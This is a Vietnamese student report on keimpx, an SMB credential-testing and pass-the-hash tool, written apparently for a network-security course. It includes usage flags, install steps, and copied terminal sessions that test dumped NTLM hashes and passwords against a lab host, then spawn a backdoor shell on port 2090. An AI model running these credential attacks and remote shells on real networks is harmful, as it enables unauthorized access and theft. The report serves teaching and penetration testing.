Lời mở đầuHiện nay thời đại của công nghệ thông tin và việc tin học hóa được coi là một trong những yếu tố quyết định, có vai trò quan trọng trong việc tạo ra những bước đột phá mạnh mẽ
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA CÔNG NGHỆ THÔNG TIN
Học phần:An toàn mạng
Bài báo cáo:
Keimpx
Trang 2Mục lục
LỜI MỞ ĐẦU
3 Chương 1 Khái quát về Keimpx 4
1.Tổng quan về Keimpx 4
3.Cách sử dụng 5
4.Các ví dụ 7
Chương 2 Cài đặt 23
Chương 3 Demo 24
Trang 3Lời mở đầu
Hiện nay thời đại của công nghệ thông tin và việc tin học hóa được coi là một trong những yếu tố quyết định, có vai trò quan trọng trong việc tạo ra những bước đột phá mạnh mẽ trong đời sống con người.Và điều quan trong trong thế giới công nghệ này là sự an toàn bảo mật và keimpx được sinh ra để phục vụ một phần đóng góp cho sự an toàn đó Nó có thể được sử dụng để nhanh chóng kiểm tra các thông tin xác thực hợp lệ trên một mạng qua SMB,Nếu bất kỳ thông tin đăng nhập hợp lệ nào được phát hiện trên toàn mạng sau giai đoạn tấn công, người dùng sẽ được yêu cầu chọn máy chủ lưu trữ để kết nối và thông tin đăng nhập hợp lệ nào để sử dụng Sau đó, chúng sẽ được cung cấp một SMB shell tương tác
Trang 4Chương 1.Khái quát về KEIMPX
● Sự kết hợp của mật khẩu người dùng / văn bản thuần túy
● Sự kết hợp của băm người dùng / NTLM
● Kết hợp mã thông báo phiên đăng nhập người dùng / NTLM
● Kết hợp mã thông báo phiên đăng nhập người dùng / NTLM
Nếu bất kỳ thông tin đăng nhập hợp lệ nào được phát hiện trên toàn mạng sau giaiđoạn tấn công, người dùng sẽ được yêu cầu chọn máy chủ lưu trữ để kết nối vàthông tin đăng nhập hợp lệ nào để sử dụng Sau đó, chúng sẽ được cung cấp mộtSMB shell tương tác , nơi người dùng có thể:
Trang 5● Tạo ra một dấu nhắc lệnh tương tác.
● Điều hướng thông qua chia sẻ SMB từ xa: danh sách, tải lên, tải
xuống tệTriển khai và hủy triển khai các dịch vụ của riêng họ, chẳnghạn, một cửa sau lắng nghe trên cổng TCP cho các kết nối đến
● p, tạo, xóa tệp, v.v
● Liệt kê chi tiết người dùng, tên miền và chính sách mật khẩu
- keimpx hiện được phát triển bằngPython 3.8và sử dụng thư viện Impackettuyệt vời từSecureAuth Corporationcho nhiều chức năng của nó keimpxcũng sử dụng thư việnPyCryptodome cho các hàm mật mã
3.Cách sử dụng :
● Giả sử bạn đang thực hiện một bài kiểm tra thâm nhập cơ sở hạ tầngcủa một mạng lớn, bạn sở hữumột máy trạm Windows, đã nâng cấpcácđặc quyềncủa mình lên Administratorc hoặc LOCAL
SYSTEMvà kết xuất các hàmbăm mật khẩu
● Bạn cũng liệt kê danh sách các máy trong miền Windows thông quanetlệnh, quét ping, quét ARP và đánh giá lưu lượng mạng
● Bây giờ, nếu bạn muốn kiểm tra tính hợp lệ của các hàm băm đã kếtxuất mà không cần bẻ khóa chúng trên toàn bộ mạng Windows quaSMB thì sao? Điều gì sẽ xảy ra nếu bạn muốn đăng nhập vào mộthoặc nhiều hệ thống bằng cách sử dụng hàm băm NTLM đã kết xuấtsau đó lướt các lượt chia sẻ hoặc thậm chí tạo ra một dấu nhắc lệnh?
● keimpx sau đó có thể được thực thi bằng cách chạy trên các hệ thống
Trang 6-h, help hiển thị thông tin trợ giúp
-v VERBOSE Mức chi tiết: 0-2 (mặc định: 0)
-t TARGET địa chỉ mục tiêu
-l LIST tệp danh sách địa chỉ mục tiêu
-n NAME tên máy chủ địa phương
-T THREADS số lượng kết nối đồng thời tối đa (mặc định: 10)
Trang 7This product includes software developed by CORE Security Technologies
(http://www.coresecurity.com), Python Impacket library
keimpx 0.2
by Bernardo Damele A G <bernardo.damele@gmail.com>
[16:49:35] [INFO] Loading targets
[16:49:35] [INFO] Loading credentials
[16:49:35] [INFO] Loading domains
[16:49:35] [INFO] Loaded 1 unique targets
[16:49:35] [INFO] Loaded 1 unique credentials
[16:49:35] [INFO] No domains specified, using NULL domain
[16:49:35] [INFO] Attacking host 172.16.77.130:445
[16:49:35] [INFO] Valid credentials on 172.16.77.130:445: Administrator/testpass[16:49:35] [INFO] Attack on host 172.16.77.130:445 finished
Trang 8The credentials worked in total 1 times
TARGET SORTED RESULTS:
ASPNET:1003:F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68:::
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************:::
# Cracked plain-text password
testuser testpass
Trang 9$ python keimpx.py -t 172.16.77.130 -c /tmp/hashes_and_plain -v 1
This product includes software developed by CORE Security Technologies(http://www.coresecurity.com), Python Impacket library
keimpx 0.2
by Bernardo Damele A G <bernardo.damele@gmail.com>
[15:53:23] [INFO] Loading targets
[15:53:23] [INFO] Loading credentials
[15:53:23] [INFO] Loading domains
[15:53:23] [INFO] Loaded 1 unique targets
[15:53:23] [INFO] Loaded 4 unique credentials
[15:53:23] [INFO] No domains specified, using NULL domain
[15:53:23] [INFO] Attacking host 172.16.77.130:445
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445:
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445:
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
[15:53:23] [INFO] Wrong credentials on 172.16.77.130:445: Guest/BLANK(2239)
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445: testuser/testpass
Trang 10[15:53:23] [INFO] Attack on host 172.16.77.130:445 finished
The credentials worked in total 3 times
TARGET SORTED RESULTS:
172.16.77.130:445
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
testuser/testpass
USER SORTED RESULTS:
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
172.16.77.130:445
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
172.16.77.130:445
testuser/testpass
172.16.77.130:445
Trang 11Do you want to get a shell from any of the targets? [Y/n] y
Which target do you want to connect to?
[2]
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
[3] testuser/testpass
> 3
[15:53:46] [INFO] type 'help' for help menu
# shares
[1] print$ (type: 0, comment: Printer Drivers)
[2] C$ (type: 0, comment: Default share)
[3] CanonMP9 (type: 1, comment: Canon MP980 series Printer)
[4] share (type: 0, comment: )
Trang 12Which share do you want to connect to? (default 1) 2
# dir
Wed Sep 19 10:11:41 2007 AUTOEXEC.BAT
Sat Sep 12 15:38:04 2009 208 boot.ini
[ ]
# exit
● Kiểm tra tính hữu dụng của các hàm băm được kết xuất vào một
hệ thống duy nhất và tạo ra một dấu nhắc lệnh
$ cat /tmp/hashes_and_plain
# Lines output of fgdump
Administrator:500:0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210:::
ASPNET:1003:F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68:::
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************:::
# Cracked plain-text password
testuser testpass
$ python keimpx.py -t 172.16.77.130 -c /tmp/hashes_and_plain -v 1
This product includes software developed by CORE Security Technologies(http://www.coresecurity.com), Python Impacket library
Trang 13keimpx 0.2
by Bernardo Damele A G <bernardo.damele@gmail.com>
[15:53:23] [INFO] Loading targets
[15:53:23] [INFO] Loading credentials
[15:53:23] [INFO] Loading domains
[15:53:23] [INFO] Loaded 1 unique targets
[15:53:23] [INFO] Loaded 4 unique credentials
[15:53:23] [INFO] No domains specified, using NULL domain
[15:53:23] [INFO] Attacking host 172.16.77.130:445
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445:
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445:
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
[15:53:23] [INFO] Wrong credentials on 172.16.77.130:445: Guest/BLANK(2239)
[15:53:23] [INFO] Valid credentials on 172.16.77.130:445: testuser/testpass[15:53:23] [INFO] Attack on host 172.16.77.130:445 finished
The credentials worked in total 3 times
Trang 14TARGET SORTED RESULTS:
172.16.77.130:445
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
testuser/testpass
USER SORTED RESULTS:
Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210
172.16.77.130:445
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
172.16.77.130:445
testuser/testpass
Trang 15Do you want to get a shell from any of the targets? [Y/n] y
Which target do you want to connect to?
[2]
ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68
[16:53:07] [INFO] Creating the service 'uYRYKB'
[16:53:07] [INFO] Starting the service 'uYRYKB'
[16:53:07] [INFO] Connecting to backdoor on port 2090, wait
Microsoft Windows [Version 5.2.3790]
Trang 16(C) Copyright 1985-2003 Microsoft Corp.
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix : localdomain
Trang 17[16:53:20] [INFO] Stopping the service 'uYRYKB'
[16:53:20] [INFO] Deleting the service 'uYRYKB'
[16:53:20] [INFO] Removing the service executable 'ADMIN$\ihtell.exe'
# exit
● Sử dụng cặp thông tin xác thực hợp lệ để tương tác với nó sau đó
$ python keimpx.py -t 172.16.77.130 -U Administrator -P validpasswordThis product includes software developed by CORE Security Technologies(http://www.coresecurity.com), Python Impacket library
keimpx 0.2
by Bernardo Damele A G <bernardo.damele@gmail.com>
The credentials worked in total 1 times
TARGET SORTED RESULTS:
172.16.77.130:445
Administrator/validpassword
Trang 18USER SORTED RESULTS:
Administrator/validpassword
172.16.77.130:445
Do you want to get a shell from any of the targets? [Y/n] y
Which target do you want to connect to?
help - show this message
verbosity {level} - set verbosity level (0-2)
info - list system information
exit - terminates the SMB session and exit from the tool
Trang 19Shares options
==============
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
pwd - shows current remote directory
ls {path} - lists all the files in the current directory
cat {file} - display content of the selected file
download {filename} - downloads the filename from the current path
upload {filename} - uploads the filename into the current path
mkdir {dirname} - creates the directory under the current path
rm {file} - removes the selected file
rmdir {dirname} - removes the directory under the current path
Trang 20shell [port] - spawn a shell listening on a TCP port, by default 2090/tcp
Users options
=============
users [domain] - list users, optionally for a specific domain
pswpolicy [domain] - list password policy, optionally for a specific domaindomains - list domains to which the system is part of
Registry options (Soon)
================
regread {registry key} - read a registry key
regwrite {registry key} {registry value} - add a value to a registry key
regdelete {registry key} - delete a registry key
# shares
[1] print$ (type: 0, comment: Printer Drivers)
[2] C$ (type: 0, comment: Default share)
[3] CanonMP9 (type: 1, comment: Canon MP980 series Printer)
[4] share (type: 0, comment: )
[5] C (type: 0, comment: )
[6] CanonMP9.2 (type: 1, comment: Canon MP980 series Printer (Copy 1))
Trang 21[7] IPC$ (type: 3, comment: Remote IPC)
[8] ADMIN$ (type: 0, comment: Remote Admin)
Which share do you want to connect to? (default 1) 2
# dir
Sat Sep 12 15:38:04 2009 208 boot.ini
# cd Windows\Temp
# dir
Fri Nov 6 18:30:15 2009<DIR>
Fri Nov 6 18:30:15 2009<DIR>
Wed May 6 12:51:52 2009 <DIR> Cookies
Wed May 6 12:51:52 2009 <DIR> History
Wed May 6 12:51:52 2009 <DIR> Temporary Internet Files
Trang 22# !ls <- Prepending an exclamation mark, executes the command on yourlocal system
Thu Nov 12 15:36:02 2009 <DIR>
Thu Nov 12 15:36:02 2009 <DIR>
Wed May 6 12:51:52 2009 <DIR> Cookies
Wed May 6 12:51:52 2009 <DIR> History
Thu Nov 12 15:36:02 2009 45838keimpx.py
Wed May 6 12:51:52 2009 <DIR> Temporary Internet Files
Last Logon: Thu, 12 Nov 2009 15:37:13
Kickoff: Mon, 14 Sep 2009 10:15:47
Trang 23Password can change: Mon, 14 Sep 2009 10:15:47
Password must change: Infinity
Bad password count: 0
Logon hours: Unlimited
Account Name: Administrator
Description: Built-in account for administering the computer/domain
Chương 2: Cài đặt Keimpx
- Để cài đặt keimpx, trước tiên hãy cài đặt Python 3.8 Trên Windows, bạn cóthể tìm thấy trình cài đặt tạiliên kết này Đối với người dùng Linux, nhiềubản phân phối cung cấp Python 3 và cung cấp nó thông qua trình quản lý góicủa bạn (tên gói thông thường bao gồm python3 và python)
- Trên hệ thống Linux, bạn cũng có thể cần cài đặt pip và openssl-dev bằngtrình quản lý gói của bạn cho bước tiếp theo
Trang 24- Sau khi bạn đã cài đặt Python 3.8, hãy sử dụng pip để cài đặt các phụ thuộcbắt buộc bằng lệnh này:
s udo apt install python3-pip
git clone https://github.com/nccgroup/keimpx
cd keimpx/
sudo pip3 install -r requirements.txt
Trang 25Chương 3.Demo
1.Keimpx Password attack tool in Kali Linux
- tạo file ip_address.txt
-Chạy lệnh : keimpx -l /root/Desktop/ip_address.txt -U root -P toor -v 1 -b
Trang 27- Chạy lệnh : keimpx -l root/Desktop/ip_address.txt -U msfadmin -P
msfadmin -v 1 -b
Trang 30Tài liệu tham khảo
[1] Github :https://github.com/nccgroup/keimpx
[2] webside : https://www.security-database.com/toolswatch/keimpx-v0-2-released.html